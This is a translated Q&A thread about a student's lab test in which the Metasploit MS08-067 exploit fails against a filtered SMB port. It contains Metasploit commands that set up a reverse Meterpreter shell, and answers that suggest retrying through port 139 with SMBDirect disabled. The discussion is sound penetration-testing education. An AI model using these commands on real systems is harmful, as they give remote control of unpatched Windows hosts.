通过过滤端口利用

信息安全 开发 港口 元数据
2021-08-15 08:07:56

我正在对讲师在实验室设置的机器进行一些测试。NMAP 显示要过滤的端口 445 并且 Nessus 确认该计算机上存在 ms08_067 漏洞。

我尝试以正常方式运行 Metasploit:

use exlpoit/windows/smb/ms08_067_netapi
set RHOST TARGET_IP
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST MY_IP
exploit

它告诉我:

[-] Exploit failed [unreachable]: Rex::ConnectionRefused 连接被远程主机拒绝 (192.168.2.2:445)

我猜这个漏洞利用失败是因为端口 445 被过滤了。让我感到困惑的是,Nessus 显然可以检查该漏洞是否存在。由于 Nessus 可以通过过滤端口执行此操作,有没有办法可以通过过滤端口启动漏洞利用?是否有任何需要安排的 Metasploit 设置?

4个回答

您有相互矛盾的信息:nmap 说端口已过滤,但 nessus 说系统上存在漏洞。它们不可能都是真的,其中之一肯定是错误的。鉴于 metasploit 无法连接,nessus 可能报告不正确,或者漏洞报告基于从其他开放端口收集的信息。如果您查看该公告上的 tenable 页面,您会看到 nessus 可以使用端口 139 或端口 445 对其进行测试,因此 139 可能是开放的,并且可能是可利用的。

tl;dr不,您将无法通过过滤端口直接利用此漏洞,并且无法通过这种方式检测到它。您的场景中一定还有其他事情发生。

为什么?

如果此端口作为过滤后返回,则防火墙或 IPS 正在丢弃数据包,这意味着您将不会收到来自服务器的任何响应。如果漏洞扫描程序可以建立到此端口的 SMB 连接,则 Nessus 只能检测到此漏洞 (MS08-067)。Nessus 不会自动尝试以任何方式绕过防火墙,但它可能会进行不同类型的端口扫描,从而产生不同的结果。

您看到的结果的可能原因:

  • Nessus 可能在不同的端口上检测到漏洞,可能是 TCP/139 上的 NetBIOS over TCP (NBT)。仔细检查 Nessus 报告。set RPORT 139在这种情况下,您还需要set SMBDirect false. 后者是高级选项 ( show advanced)。

  • 您和目标主机(或目标主机上)之间正在运行某种入侵防护,导致端口扫描结果不一致。-sS尝试以各种配置( 、-sT等)运行 NMAP-p445,139以查看结果是否一致。这并不能真正解释为什么 Nessus 能够检测到它,但 Metasploit 却不能利用它。在实验室环境中似乎也不太可能,除非该实验室专门针对 IPS 规避进行了设置。

即使端口 445 (SMB) 已关闭,您有时也可以通过端口 139 (NetBios) 利用此漏洞。在 metasploit 中,只需使用以下语法:

set RPORT 139; set SMBDirect false; exploit

“过滤”通常意味着没有从端口收到响应(与关闭相反,它使用 RST 数据包响应 - 请参阅维基百科上的端口扫描器)。这通常表明防火墙只是丢弃了进入该端口的数据包,它不太可能被利用。